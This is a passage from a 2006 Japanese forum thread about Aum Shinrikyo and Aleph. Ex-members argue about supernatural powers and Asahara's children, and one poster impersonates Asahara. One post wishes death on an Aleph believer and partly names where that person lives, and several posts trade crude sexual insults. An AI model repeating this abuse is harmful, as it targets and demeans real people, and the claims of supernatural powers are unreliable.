それに滅想受定という瞑想をなさないと解脱しないのでサマディは絶対条件です。
755:シヴァの喜び ◆XuryVJUQ9Y
06/10/15 03:48:43 oyC3xr3v
>>752
>つまり神通は神通で切り離して考え、神通の詳しい原理やメカニズムを知ることは必要ないということですか？
あなたはどんな神通を体験されましたか？空中浮遊とかですか？
神通の詳しいメカニズムは如実知見で得ているのではないでしょうか。
俺はいろんな体験をしているのでここには書きません。
いちいち全部その体験を書くと本が一冊出来上がるくらいの神通体験とか神秘体験とかしてるので
もう飽きました。
756:名無しさん＠３周年
06/10/15 03:50:07 SEzBQVwn
ところであなたは自分のことを呼称する時、俺と言ったり、僕と言ったり変化しますよね？
これは故意にＴＰＯに則り変化させているのですか？
真我を考えていく場合、本当の自分というのは思考するときに、自分はこうだなという時、
無意識に出てくるのが本当のあなたでしょう。
とっさに俺という言葉が出てくるならそれが深いところに根付いている証でしょう。
757:シヴァの喜び ◆XuryVJUQ9Y
06/10/15 03:52:55 oyC3xr3v
>>752
神通そのものに囚われないような修行者でないと神通で転生を見ていき解脱するってのはやめたほうがいいと思う。
そうでないと目的と手段が入れ替わる恐れがある。そして抜け出せなくなる。それほどまでに神通は引力の強い世界
だと思います。感じます。
758:名無しさん＠３周年
06/10/15 03:55:38 SEzBQVwn
>>本が一冊出来上がるくらいの神通体験とか神秘体験とかしてる
それがあなたの見解ですよね。同じ元サマナでも
某シャバダバ氏が聞いたらカルトだと定義しそうですな。
神通が錯覚だと言われる一番の理由は物理的証明が確実にできないからでしょう。
759:シヴァの喜び ◆XuryVJUQ9Y
06/10/15 03:56:41 oyC3xr3v
>>756
そこら辺はお気になさらずに。
たんに書き言葉と話し言葉の違いくらいのものです。
760:シヴァの喜び ◆XuryVJUQ9Y
06/10/15 04:00:34 oyC3xr3v
>>758
>それがあなたの見解ですよね。同じ元サマナでも某シャバダバ氏が聞いたらカルトだと定義しそうですな。
神通が錯覚だと言われる一番の理由は物理的証明が確実にできないからでしょう。
それなら意識というものまで錯覚ですまされてしまいますね＾＾
意識の物理的証明はどこに？
761:名無しさん＠３周年
06/10/15 04:04:42 SEzBQVwn
>>760
全くその通りですね。それこそ魂、意識、脳を考える究極の問題だと思いますよ。
この現実世界は意識を通して認識しているだけであり実際には無いものとも言える。
すなわち幻影であると。
ただ私も意識というものは単なる脳の電気信号だけの世界であって欲しくないものです。
762:名無しさん＠３周年
06/10/15 04:08:05 SEzBQVwn
遅くまで答えていただきありがとうございました。
まだ聞きたいことがありますが今日はもう寝るとします。
失礼します。
763:シヴァの喜び ◆XuryVJUQ9Y
06/10/15 04:10:28 oyC3xr3v
>>762
おやすみなさ～い＾＾
764:名無しさん＠３周年
06/10/15 04:16:05 5OMll16f
映画マトリックスの世界のように実際はどこかに繋がれて、電気信号だけで
経験してるのかな。
765:シヴァの喜び ◆XuryVJUQ9Y
06/10/15 04:18:16 oyC3xr3v
>>764
そうじゃないことを祈りましょう＾＾
では、俺も寝ますね。
おやすみなさ～い＾＾
766:名無しさん＠３周年
06/10/15 04:26:45 5OMll16f
解脱という境地に到達したらその答えが見えるのかな？
わけ分らんな。とりあえず明日も俺は仕事に行くという事は幻ではない！
767:名無しさん＠３周年
06/10/15 04:37:25 GcO6d0iC
この世のすべてはチズオの妄想だよ
768:名無しさん＠３周年
06/10/15 07:59:10 QO7Js5Yd
>>673
読心術でろうそくの炎を曲げられますか？
769:名無しさん＠３周年
06/10/15 08:45:36 gfqV+k9i
あんたらの気持ちの中に何かを拠り所にしたい、頼りたいというもんが
あって、それがオウムを成長させたんよ
770:グル麻原
06/10/15 09:20:54 Ge0SqL7Q
,,,--─＝==─ヽ/へ
／iiiiiiiiiiiiii彡≡≡≡|≡ヾ ヽ
iiiiiiiiiiiiiiiiiii彡≡≡≡≡|≡ミミヾ丶
iiiiiiiiiiiiiiiiiiii／￣￣￣￣￣￣＼ミiiiiiヽ
iiiiiiiiiiiiiiiiii／ ＼iiiiiiiゞ
iiiiiiiiiiii／ ＼iiヽ
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...iiiiiiiiii彡/ ＿＿,.:: :: ＿＿ ヽiiiii|
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iiiiiiiiiiiiiiiiiiiiii巛巛巛巛巛巛巛巛》》》》》》》》》》》》iiiiiii
久々に登場なのである。
オウム真理教も北朝鮮も追い詰められて、
訳が分からなくなっているのである。
771:何が救済活動だ
06/10/15 09:48:20 gfqV+k9i
↓こんな香具師でもアーレフに入れますか？
↓こんな香具師をアーレフは救済しますか？したことがありますか？
地獄！俺以上に絶望的な奴いる？
1 ：1：2005/09/30(金) 03:01:42
現在無職所持金２７９円 サラ金 カード ブラック
今は前払いパックでマンガ喫茶に泊まってます
仕事する意欲はあります。 でも仕事と金と宿がない・・・
犯罪者になって捕まるしかないのでしょうか
ちなみに路上で寝るのは嫌です
たすけてーーーーーーーーーー
2 ：今日のところは名無しで ：2005/09/30(金) 03:17:40
人生に乙
3 ：今日のところは名無しで ：2005/09/30(金) 03:19:52
自分だけ特殊環境にあると思わないことだな。
ここに書き込みすらできない奴がいっぱいいるのに。
おまえが嫌がる、路上で眠る奴のほうが絶望的だよ。
4 ：今日のところは名無しで ：2005/09/30(金) 03:27:01
どっか、住み込みで、まっとうな所で働いてください
旅館とかなら寮もあるらしいでつ
5 ：今日のところは名無しで ：2005/09/30(金) 03:28:37
とりあえず土方でもなんでも仕事やるべきだね。
772:名無しさん＠３周年
06/10/15 11:06:19 HGMy10BT
マル激トーク・オン・ディマンド 第289回（2006年10月13日）
麻原の神格化は大きな過ちだった
ゲスト：上祐史浩氏（アーレフ代表）
URLﾘﾝｸ(www.videonews.com)
773:名無しさん＠３周年
06/10/15 11:32:18 g1XKTJ+g
もうしばらく経つといつもの肉まんじゅうが出てくる…
774:名無しさん＠３周年
06/10/15 12:16:19 C2/KtfSt
772 有料だけど・・・・営業！
775:名無しさん＠３周年
06/10/15 12:38:10 ix1cZUWM
元オウムって、麻原を否定するところまではできても
子供じみた超人願望から卒業することは、なかなかできない傾向があるよね。
やっぱり我が強いんだな。
だから苦しむ。
776:名無しさん＠３周年
06/10/15 12:46:58 g1XKTJ+g
>>775 ﾂﾏﾗﾈ
777:シヴァの喜び ◆XuryVJUQ9Y
06/10/15 13:06:24 oyC3xr3v
>>775
他人の真面目な取り組みを「子供じみた」って言って切り捨てる人は自分が子供じみてることに気がついてない憐れな人。
超人願望？
いいじゃない。それって向上心の現われじゃないかｗ
テーラヴァーダ仏教やチベット仏教、インド・ヒマラヤヨーガだって神通力を否定しないよ。
そういうのを否定するのは実はそれを一番求めてるってことに気がついた方がいいのにｗ
我がつよい？
いいじゃん。
自己をキチンと確立できないものは他人に流されて生きていくしか無くなるよ。
苦しむ？
却下。
自分の我の正しい表現方法を誰も知らないだけだよ。我が強くて苦しんでいるのではなくてね。
我っていえばキリストやお釈迦さまの方が我は強いよ。よく考えてごらん。
そのくらいの自我の確立が無ければ世界宗教になんかならないからｗ
ということであなたの見解は自分に理解できないから、或いは自分には手に入らないからといって
相手の持ち物にケチをつける子供の歪んだ優越感に似ているｗ
その愚見に、注ぎ込もう。慈悲。
778:名無しさん＠３周年
06/10/15 13:48:23 oFh0Fq6+
神通力には関心ないです。
麻原はじめ、麻原ファミリー、サマナたちの
下半身事情に関心があります。
よろしくお願い申しあげます。
779:グル麻原
06/10/15 13:54:44 Ge0SqL7Q
,,,--─＝==─ヽ/へ
／iiiiiiiiiiiiii彡≡≡≡|≡ヾ ヽ
iiiiiiiiiiiiiiiiiii彡≡≡≡≡|≡ミミヾ丶
iiiiiiiiiiiiiiiiiiii／￣￣￣￣￣￣＼ミiiiiiヽ
iiiiiiiiiiiiiiiiii／ ＼iiiiiiiゞ
iiiiiiiiiiii／ ＼iiヽ
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iiiiiiiiiiiiiiiiiiiiii巛巛巛巛巛巛巛巛》》》》》》》》》》》》iiiiiii
>>778
わたしは多くの女性の弟子にタントラのイニシエーションを施し、
多くの「陣痛」を与えたのである。
わたしの血を絶やさないために、わたしの娘達も多くの「陣痛」を得てもらい
たいものである。
780:名無しさん＠３周年
06/10/15 14:44:15 EXshmxzL
うちの上階にアーレフ信者が住んでいます。
顔はいってしまっており不気味です。
毎夜 空中浮揚の修行をしているのかドスンドスンとうるさい！
注意をした後から余計ひどくなりました。
これ以上注意をすると命が危なくなるかもしれません。
岐阜のライオンズマンション○○の8階に住んでるアーレフ 死ね！
781:阿佐谷北（本物） ◆Kcjlum1seI
06/10/15 14:55:24 7xlIi4eq
>>779
>わたしは多くの女性の弟子にタントラのイニシエーションを施し、
>多くの「陣痛」を与えたのである。
教祖が何人に「タントラのイニシエーション」とやらを施したのかは知らぬが、
実際に「陣痛」を得たのはわずか数名だったとか思いますけど。
782:名無しさん＠３周年
06/10/15 15:08:42 KlIlJ/IL
最終解脱者は性欲が無いので
アストラルからひっぱってきたのでつか？
783:名無しさん＠３周年
06/10/15 15:32:29 fhUrj2Ox
>>765
>では、俺も寝ますね。
男と練るんだろ。またアナル売りか？
784:名無しさん＠３周年
06/10/15 15:37:22 gAgcKF5F
上祐、村岡、野田、二ノ宮、杉浦兄弟は遺族被害者に直接謝罪に行け！！
特に野田、桃源事件被害者へだ！！
785:名無しさん＠３周年
06/10/15 15:37:27 C2/KtfSt
>>783
おまえの思考ってほんと低レベルだよね。
786:名無しさん＠３周年
06/10/15 16:56:35 /tje+bdU
アナル売ってちゃ－戦にゃ勝てね－ぞ
787:名無しさん＠３周年
06/10/15 16:56:47 EDUPRf+Y
>>783
しつこいんだよ。ナルコ脳症の麻原盲信変態が。
お前の願望書いてんじゃねえよ。
腐れ粗チン切り落としてから寝言吐けって言ってんだろ？
麻原にケツ貸す妄想に浸ってるクセによ ｹﾞﾗ
788:名無しさん＠３周年
06/10/15 17:18:11 EDUPRf+Y
>>786
お前も現役のナルコ脳症麻原盲信変態症候群患者か。他人の性にまで口だしするその傲慢さはもう治療不可能なのでこれ以上症状が悪くならないように入院してろよ。病棟から逃げ出してくんな。
789:名無しさん＠３周年
06/10/15 17:43:31 aoz6SLb/
>>772 ：上祐氏のまとめ
・神を崇めても自己を神としない。
・信者と非信者を区別して極端な善悪二元論に陥らない。
・自己の理想は人間の究極として菩薩というものを設定し絶対神や如来にせず、
全てはつながっており、一体である。
790:グル麻原
06/10/15 17:46:34 Ge0SqL7Q
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iiiiiiiiiiiiiiiiiiiiii巛巛巛巛巛巛巛巛》》》》》》》》》》》》iiiiiii
>>781
阿佐ヶ谷北よ、わたしが「陣痛」を与えたのは、数名ではなく５名である。
その結果、合計１２人の子をわたしはもうけた。
君は合計１２人分の「陣痛」をわずかというのだろうか？
わたしはケイマに「女にとって最高の功徳とは救済者の子を産むことである」
と説き、それをわたしは弟子達に実践させたのである。
現代日本において１２人子供がいるということは、子沢山だと思うのだが、
阿佐ヶ谷北にとってはわずかなのだろうか？
わたしの子が１２人いるということは、わたし自身が裁判においてはっきり
宣言しておいてある。
791:シヴァの喜び ◆XuryVJUQ9Y
06/10/15 18:16:41 oyC3xr3v
>>781
>阿佐谷北（本物)さん
ちょっと・・・いや、大変・・・呆れています・・・。
数の問題ではないでしょうに・・。
殺人者に犯されて身篭ってしまった女性の心情を何も感じないのですか？
数名だから無問題？わずかだから？それとも「名誉」だとでも？
生まれながらに殺人者を父に持ってしまう子供たちの心情は？
わずか１２名だから問題なし？
事実は事実として数名。だから問題ない？
感情など取るに足らないこと？
792:グル麻原
06/10/15 18:54:33 Ge0SqL7Q
,,,--─＝==─ヽ/へ
／iiiiiiiiiiiiii彡≡≡≡|≡ヾ ヽ
iiiiiiiiiiiiiiiiiii彡≡≡≡≡|≡ミミヾ丶
iiiiiiiiiiiiiiiiiiii／￣￣￣￣￣￣＼ミiiiiiヽ
iiiiiiiiiiiiiiiiii／ ＼iiiiiiiゞ
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iiiiiiiiiiiiiiiiiiiiii巛巛巛巛巛巛巛巛》》》》》》》》》》》》iiiiiii
>>789
マイトレーヤよ、お前は代表派のメンバーに
「元代表の教材を個人でも所有しない者だけ、新教団に出家者として受け入れる」
と言っているそうだな。
もともと教団に出家した者達は私に帰依し、その教えを実践しようとして
現世を捨て出家したのである。
そして出家者がお前を尊敬しているのは、わたしがお前に正大師という
宗教的地位を与えたからである。
その出家者に対しお前は「元代表を神として見てはいけない、元代表の
教材を放棄する者だけ新教団に受け入れる」と主張している。
果たして何人がわたしの教材を放棄して、お前を信頼しついていくのだろうか？
新教団ではわたしの威を借りるのではなく、おまえ自身の宗教的力量が問われる
ことになるな。
お前の好きなようにやってみるがいい。
793:一お馬～♪
06/10/15 19:12:09 n03m5IEN
Ｍ派サマナの方が開祖の教材を放棄されるのであれば、私がお預かりして
もし将来再度入用になられたときには責任をもってお返し申し上げますが
いかがでしょうか。殺人カルト研究のための貴重な資料をみすみす捨てて
しまうのは勿体無いと思います。
794:死刑!!麻原さっさと死刑!!!!
06/10/15 20:04:41 q63QUHNZ
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795:死刑!!麻原さっさと死刑!!!!
06/10/15 20:08:27 q63QUHNZ
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796:さくら
06/10/15 20:09:52 RYGe8iim
グル麻原さん
久しぶりに拝見できて嬉しいです。
カキコ楽しみにしてます。(*^^*)
797:糞麻原へ捧げる昼便
06/10/15 20:13:37 q63QUHNZ
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798:糞麻原へ捧げる昼便
06/10/15 20:14:26 q63QUHNZ
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799:糞麻原へ捧げる昼便
06/10/15 20:16:12 q63QUHNZ
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800:名無しさん＠３周年
06/10/15 20:29:21 cjOf28Hw
>>791
不思議なのですが
その身篭った女性の心情を実際に知らないで
一方的に想像して驚いていることを何とも思わないのですか？
801:シヴァの喜び ◆XuryVJUQ9Y
06/10/15 20:43:19 oyC3xr3v
>>800
もしもし？
それは想像力欠如ですよ？人間性の欠如と言ってもいい。
相手の気持ちを慮らないでどうします？
オウムの方はその傾向があるから問題なのです。
身篭った方が隠れるように暮らしているのはどうお考えですか？
まさか、いつか「自分の子は救世主のご落胤である」とか名乗り出るとでも？
ケイマさんの陳述見ました？
>>620をお読みください。
石井さんでさえそう思っています。そして子供とひっそりと暮らし、麻原の子であることを隠しながら生きているそうです。
で、
あなたは相手の苦しみには無関心？
実際にはそんなことはないと？
802:シヴァの喜び ◆XuryVJUQ9Y
06/10/15 20:48:01 oyC3xr3v
>>800
それとも相手の苦しみを理解しようという努力は無意味だと？
まあ、相手がそれで苦しんでなければそれは大きなお世話ですが、それなら
隠れて暮らしているのはなぜ？
名乗り出てご家族に加えて貰えばいいじゃないですか？
803:名無しさん＠３周年
06/10/15 20:53:38 cjOf28Hw
>>801
想像と現実は違います。
想像するのは個人の自由ですが
驚くところまで行くほど
自分の想像を過信はしません。
石井さんのことも含め
事実を自分で確かめるでしょう。
（彼女自身のかきこみなら別ですが）
苦しみには想像を超えたいろんな苦しみがあります。
それを少し知っているので
他人についても無責任な想像で
短絡的な断定はできないと考えます。
804:アーチャリー
06/10/15 20:56:18 GcO6d0iC
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. ( .)ﾞ'ヽ＿,ノｰ'
. `ｰ' ,､.┴┴ ､
ﾉ >-─|<`ヽ､
く へ, V､_,/
(⌒ヽ＼ノ,〉 >'､＼／⌒j
{ ヽ、 ﾃ彡⌒ ⌒} ﾉ |
｜ } 丶 . .,,___ﾉ、ノ／{ i
|. { 人 } |
⊆ﾆゝ （;.__.;） ヽﾆ⊇
（;;:::.:.__.;）
（;;:_:.___:_:_ :）
（;;;::_.:_. .:; _:_ :.）
805:よろしかったらどうぞ
06/10/15 20:58:52 GcO6d0iC
┌v ''''i''''v┐
(. ){. | } .)
. ( .)ﾞ'ヽ＿,ノｰ'
. `ｰ' ,､.┴┴ ､
ﾉ >-─|<`ヽ､
く へ, V､_,/
(⌒ヽ＼ノ,〉 >'､＼／⌒j
{ ヽ、 ﾃ彡⌒ ⌒} ﾉ |
｜ } 丶 . .,,___ﾉ、ノ／{ i
|. { 人 } |
⊆ﾆゝ （;.__.;） ヽﾆ⊇
（;;:::.:.__.;）
（;;:_:.___:_:_ :）
（;;;::_.:_. .:; _:_ :.）
806:シヴァの喜び ◆XuryVJUQ9Y
06/10/15 21:09:45 oyC3xr3v
>>803
> 想像と現実は違います。
それは認めます。ですが、現実とは心の現われでもあります。
あなたは彼女たちの現実に何も感じないのならばあなたの心はそんな苦しみはないのでしょうね＾＾
つまり「そんなものは想像の範疇で現実には彼女たちは苦しんではいないだろうと」という想像ですなｗ
>想像するのは個人の自由ですが驚くところまで行くほど自分の想像を過信はしません。
もしもし？
では数の問題として書き込みはどう思われますか？
>石井さんのことも含め事実を自分で確かめるでしょう。
（彼女自身のかきこみなら別ですが）
もしもし？
陳述見ました？
で、そこから想像はできない？
それともあれは単に建前だったと仰るの？
>苦しみには想像を超えたいろんな苦しみがあります。
それを少し知っているので他人についても無責任な想像で短絡的な断定はできないと考えます。
神通力が無い俺らはそこを想像で埋めていかないと思いますが？
あなたの論はまるで「その程度は苦しみではない」と言ってるように聞こえますが？
807:グル麻原
06/10/15 21:16:25 Ge0SqL7Q
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／iiiiiiiiiiiiii彡≡≡≡|≡ヾ ヽ
iiiiiiiiiiiiiiiiiii彡≡≡≡≡|≡ミミヾ丶
iiiiiiiiiiiiiiiiiiii／￣￣￣￣￣￣＼ミiiiiiヽ
iiiiiiiiiiiiiiiiii／ ＼iiiiiiiゞ
iiiiiiiiiiii／ ＼iiヽ
iiiiiiiiiiiiiii《 ━━'/ ヽ━━ ヽミヽ
...iiiiiiiiii彡/ ＿＿,.:: :: ＿＿ ヽiiiii|
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iiiiiiiiiiiiiiiiiiiiii巛巛巛巛巛巛巛巛》》》》》》》》》》》》iiiiiii
>>801
すべての魂の喜びを自己の喜びとし、すべての魂の喜びを増大させようとする
心の働きが慈である。
すべての魂の苦しみを自己の苦しみとし、すべての魂の苦しみを減少させようと
する心の働きが悲である。
この二つの心を合わせて慈悲という。慈悲こそが仏陀の心である。
ここでシヴァナンダは「他の魂の苦しみを慮り、悲の実践をすべきである」
と言っているのである。
シヴァナンダは教団にいるときよりも慈悲の心が増大している。
修行が進んでうれしいかぎりである。
さくらの懇願に答えて思わず登場してしまった。
808:名無しさん＠３周年
06/10/15 21:18:31 KlIlJ/IL
妾に子供産ませた麻原には養育義務がありまつ
拘置所でクソ垂れ知らん顔でつか？
本妻家族共々、在家信徒からむしった金で肩代わりでつか？
809:名無しさん＠３周年
06/10/15 21:31:42 cjOf28Hw
>>802
>隠れて暮らしているのはなぜ？
>名乗り出てご家族に加えて貰えばいいじゃないですか？
何のために加わる必要があるのでしょうか。
第一夫人と第二夫人が同じところに住めると考えるほうが
女性の苦しみに関して想像力が欠落しているのでは？
810:名無しさん＠３周年
06/10/15 21:35:58 KlIlJ/IL
あれだけ酷い洗脳したくせに我が身大事と、狂ったふりする無責任な救世主
洗脳された信者はどうすればいいんでつか？
人生を賭け出家したサマナ
在家なのに普通の幸せ捨てさせられた信徒
松本智津夫という男はどう責任とるんでつか？
811:名無しさん＠３周年
06/10/15 21:44:35 KlIlJ/IL
>>809
女性に苦しみがあるんでつか
それなら、妾に子供産ませるのは間違いでつ
種をまいたなら責任とらないといけません
悪いことしなかせら気持ちいいことしたら責任とれなくなりまつ
悪いことするとおまわりさんにつかまると妄小学校でおそわんなかったのでつか？
812:名無しさん＠３周年
06/10/15 21:46:40 KlIlJ/IL
麻原は全てにおいて無責任な男
813:名無しさん＠３周年
06/10/15 21:47:59 d1zUzvZi
>>810
上祐氏ではないが、信じた側の責任というのも考える必要があるのではないのかな。
なぜ信じたのか。入信や出家を決断したのも結局は自分自身であり、その背景も色々ある
でしょうが・・・そうしないと何も進歩しないというか、あなたが元オウムのサマナか信徒
であった場合、今回の事で何も教訓を得る事が出来ないのではないのかな。
もちろん、麻原の責任も大きいとは思っているよ。
814:シヴァの喜び ◆XuryVJUQ9Y
06/10/15 21:52:24 oyC3xr3v
>>809
>何のために加わる必要があるのでしょうか。
はい？
普通、生ませたのですから養育の義務がありますが？
>第一夫人と第二夫人が同じところに住めると考えるほうが
女性の苦しみに関して想像力が欠落しているのでは？
ということは彼女たちは苦しんでいるってことですね？
あなたは今女性の苦しみって語りました。
あなたにも想像できてるじゃないですか？＾＾
言っておきますが、第一夫人とか第二夫人って、そこが現実を直視できてない。
いいですか。第二夫人とかじゃなかった。そこさえ正知できてない。
その言葉を出した以上あなたはそういう風に考えていて、それを論拠に「彼女たちに
聞かなければ・・・」と言っていたはずです。つまり「彼女たちが苦しんでるはずはない」と。
815:さくら
06/10/15 21:54:21 fIda+iiL
>>807
出てきてくださってありがとうございます。
もしかして、あなたは・・・
尊師に宿っていた仏性？
あなたがいつの間にか尊師の肉体を離れてしまわれたのが
残念でなりません。
816:名無しさん＠３周年
06/10/15 22:06:23 cjOf28Hw
806
それは認めます。ですが、現実とは心の現われでもあります。
あなたは彼女たちの現実に何も感じないのならばあなたの心はそんな苦しみはないのでしょうね＾＾
つまり「そんなものは想像の範疇で現実には彼女たちは苦しんではいないだろうと」という想像ですなｗ
どちらもあなたの想像にすぎません。
私も知らないがあなたも知っているとは思えない。
現実の資料が足らなすぎると思います。
>では数の問題として書き込みはどう思われますか？
何の書き込みでしょうか
>もしもし？
>陳述見ました？
>で、そこから想像はできない？
>それともあれは単に建前だったと仰るの？
往々にして
陳述と現実が違っていることはまたご存知のとおり。
>神通力が無い俺らはそこを想像で埋めていかないと思いますが？
>あなたの論はまるで「その程度は苦しみではない」と言ってるように>聞こえますが？
それは誤解でしょう。
ただ想像を絶することはいっぱいありますから
自分の観念を相手にあてはめることは慎重でなければなりません。
ことオウムに限ってですが。
そうしなければ真実はけしてみえてこないと思いますよ。
817:名無しさん＠３周年
06/10/15 22:06:37 YcmROzX1
ID:q63QUHNZ,ID:GcO6d0iCの書き込みは一見、A派と麻原に対する侮辱の様な書き込みであるが
実はA派の一部の者達による妨害工作であり危険な麻原原理主義への回帰の芽である。気を付けなさい。
ID:fhUrj2Oxによる芝氏の侮辱も同様である。
818:名無しさん＠３周年
06/10/15 22:15:38 d1zUzvZi
>>817
あなたの考えも分らなくはないけど、根拠もなく色々と決め付けを行なうのは危険
ではないかと思います。それも一つの盲信ではないかと・・・
819:名無しさん＠３周年
06/10/15 22:16:47 /tje+bdU
すべての人に仏生はそなわっていて、だから私はち－とも凄くないんだね。
「マハ－ヤーナ」
820:名無しさん＠３周年
06/10/15 22:21:57 cjOf28Hw
>>814
隠れているのかどうか
名乗り出てないのかどうか
ご家族に加えてもらえてないのかどうか
あなたは本当に知っていますか
私は知りません。
また（特別な子どもを産んだといわれる）彼らの扱いが
実際どういうものだったかあなたは本当に知っていますか
本人に確かめたことがありますか。
私は知りません。
ただ他に関係を持ったひとたちとは扱いが違うということは
想像できます。そこで夫人ということばを使ったにすぎません。
もちろんあなたの想像は自由ですが
それをもとにしていろいろ発展させてもしかたがないと思います。
821:シヴァの喜び ◆XuryVJUQ9Y
06/10/15 22:32:51 oyC3xr3v
>>816
>どちらもあなたの想像にすぎません。私も知らないがあなたも知っているとは思えない。現実の資料が足らなすぎると思います。
だから想像力で埋めないといけないのでは？
>何の書き込みでしょうか
阿佐ヶ谷北さんの書き込みです。そこは無視ですか？
>往々にして陳述と現実が違っていることはまたご存知のとおり。
なるほど。
やはり「あれは罪を逃れるための建前」と思ってるわけですな。
>それは誤解でしょう。 ただ想像を絶することはいっぱいありますから自分の観念を相手にあてはめることは慎重でなければなりません。
どこをどうやったって実は現実って自分の観念を物差しにしかできませんよ。
解脱するまではね。
>ことオウムに限ってですが。そうしなければ真実はけしてみえてこないと思いますよ。
いや。
想像を絶するからこそ出来うる限りの想像で相手を慮らないといけないと思います。
想像力を働かせないから人は相手の苦しみを理解できないし、自分のこととして感じられないし
慈悲を働かせることができないと思います。
事実として、彼女たちは殺人者に犯された。その子を身篭った。それが悲劇であることは否定できない。
それともその現実は悲劇でないと？
真実から目を背けているからこそ、想像できないのだと思います。
822:名無しさん＠３周年
06/10/15 22:35:24 oFh0Fq6+
バッリヤ師補って、まだいるの？
823:シヴァの喜び ◆XuryVJUQ9Y
06/10/15 22:38:06 oyC3xr3v
>>820
>隠れているのかどうか 名乗り出てないのかどうか
ご家族に加えてもらえてないのかどうか あなたは本当に知っていますか私は知りません。
現実をごらんになってますか？
>また（特別な子どもを産んだといわれる）彼らの扱いが実際どういうものだったかあなたは本当に知っていますか
本人に確かめたことがありますか。私は知りません。
俺にはあなたがたんに言葉遊びをしてこの件をうやむやにしようとしてるように思うのですが？
>ただ他に関係を持ったひとたちとは扱いが違うということは想像できます。そこで夫人ということばを使ったにすぎません。
もちろんあなたの想像は自由ですがそれをもとにしていろいろ発展させてもしかたがないと思います。
いえ。
発展させてるのではありません。
人間性を問うているのです。
824:名無しさん＠３周年
06/10/15 22:43:43 Ge0SqL7Q
>>822
バッリヤさんは相当以前にやめましたよ。
825:名無しさん＠３周年
06/10/15 22:49:07 oFh0Fq6+
>>824
レスどうもです。
そうですか。。今も放浪しているんでしょうか。
826:名無しさん＠３周年
06/10/15 22:55:44 KlIlJ/IL
>>813
情祐さんが何言ったのかしりませんが
自分の人生の主人公は自分でつ
他人にそそのかされようが、騙されようが、洗脳されようが
その結果、我が身に降りかかってくる火の粉を受け止めるのは自分自身でつ
仮に他人に同情されようが賠償金貰おうが、受けた痛みは自分以外の者に背負ってもらえません
元なので、世間の目は冷たくそういうこともありませんでしたがね、、
今までにオウムに関った者の代償として十二分に人生の辛酸舐めていると思いまつ
自己責任と責める者の言い分、私はそれを承知した上であえてオウムの批判をしていまつ
でもね、あなたには言われたくない
ましてや、大幹部の上祐さんに言われる筋合いはない
末端信者の責任の∞責任があるんでないでつか？
827:シヴァの喜び ◆XuryVJUQ9Y
06/10/15 22:58:48 oyC3xr3v
>>826
あなたを支持します。
あなたの意見を支持します。
828:名無しさん＠３周年
06/10/15 22:59:47 cjOf28Hw
>>821,823
想像を宇宙大にしても現実はわかりません。
解脱しなくても本当に問題にしたいものに対してひとは
現実を確かめます。
問題になっているひとたちの現実を知りたいなら
まず会って確かめてこられたらよいでしょう。
あなたの純粋さややさしさはわかりますが
本当にやさしければ現実と接触するでしょう。
829:名無しさん＠３周年
06/10/15 23:05:49 oFh0Fq6+
息子たちが皆、ミニ麻原だったら怖いな。
母性があるから、かわいいと思って育ててるんだろうけど。
830:名無しさん＠３周年
06/10/15 23:06:42 ix1cZUWM
>>777
仏教やキリスト教が世界三大宗教になったのは、ブッダやイエスが私心を去って利他に生き、あるいは利他に死んだからではないかな。
本当に我が強いからという理由で世界中から畏敬の念を抱かれるようになったのかな。
831:名無しさん＠３周年
06/10/15 23:07:54 Ge0SqL7Q
今日ＮＨＫにテーラヴァーダ協会のＡ・スマナサーラ長老が出演して
ダンマパダの言葉を紹介して四諦八正道について解説していました。
シヴァナンダさんはスマナサーラ長老に会ったことはありますか？
シヴァナンダさんはスマナサーラ長老をどのように評価しますか？
832:名無しさん＠３周年
06/10/15 23:14:28 /tje+bdU
息子さんとは、面識がありますが、非常に聡明でしたよ
勇気を感じました
833:名無しさん＠３周年
06/10/15 23:19:03 oFh0Fq6+
麻原も、あれだけ説法できたんだから聡明だったんだろうね。
悪事をなすにも聡明でないとうまくいかないんだろうな。
834:名無しさん＠３周年
06/10/15 23:22:27 gAgcKF5F
ヘッドギアって付けたことある人いる？
付けるとどうなるの？効果あるの？
835:シヴァの喜び ◆XuryVJUQ9Y
06/10/15 23:25:24 oyC3xr3v
>>828
いずれそうするつもりです。
ですが、今は無理です。
会って彼女たちを傷つけることだって想像できる。
だから解脱したいのです。
そして精一杯の想像力で悲を働かせるのです。
836:名無しさん＠３周年
06/10/15 23:27:33 /tje+bdU
聡明でなければ、あっというまに品性と徳を失うようですね
837:名無しさん＠３周年
06/10/15 23:28:18 SY1fjE6Y
オウムと北朝鮮ってなにか似たようなエネルギーが流れているような気がする。
838:名無しさん＠３周年
06/10/15 23:28:25 oFh0Fq6+
ヘッドギアって、パーフェクト・サーべーション・イニシエーションのこと？
頭に電流流すから、ぴりぴりする。下手したら電気火傷で
額に痕が残る。
自分は効果無しだった。ウザイだけ。
839:シヴァの喜び ◆XuryVJUQ9Y
06/10/15 23:29:33 oyC3xr3v
>>831
まだＡ・スマナサーラ長老にはお会いできていません。
近いうちにお会いしたいものです。
確かご自分の著書の中に自分は悟ってはいるけど解脱してはいないというような
一文があったように記憶しています。
素晴らしい方だと思います。
840:シヴァの喜び ◆XuryVJUQ9Y
06/10/15 23:32:26 oyC3xr3v
>>830
「個を強く確立した」という意味で我が強いと言っています。
エゴを神聖な意味で完成させた・・・と言い換えてもいいと思います。
841:名無しさん＠３周年
06/10/15 23:36:32 YcmROzX1
>>835 >会って彼女たちを傷つけることだって想像できる
阿佐谷北(基地外)◆kijirusiのこれまでの発言には女性に対する配慮がまるでなかったな
破綻論理をふりかざし他人を下品に嘲笑しスルーと冷笑の対象になってるのも気づかず
842:名無しさん＠３周年
06/10/15 23:36:41 T8leDDcV
96 ：名無しさん ：2006/09/08(金) 11:12:20
暗い人がお笑いやるとは思えないな
97 ：名無しさん ：2006/09/08(金) 11:15:08
>>96
松本人志曰く、楽しいやつよりも根暗なやつのほうが面白い。
98 ：名無しさん ：2006/09/08(金) 11:17:49
根暗っこｷﾀ━━(ﾟ∀ﾟ)━━!!!!
99 ：名無しさん ：2006/09/08(金) 11:19:39
>>97
根暗、貧乏、女好き、（顔が悪い、学がない）などコンプレックスは強い方がいい
を面白い奴の条件に挙げてたな。
こういうことを書いて根暗で社会に適応できない奴に
「本当は君は面白い奴なんだよ」と暗示をかけ、松本信者を生み出す。
まさに悪徳宗教のやり口だよな、松本って。
843:名無しさん＠３周年
06/10/15 23:37:43 SY1fjE6Y
シヴァび喜びさんを含めてオフ会とかやったら面白そう。
和井さんとかも参加して盛り上がりそうですよね。
844:名無しさん＠３周年
06/10/15 23:38:36 T8leDDcV
429 ：名無しさん ：2006/10/14(土) 16:56:30
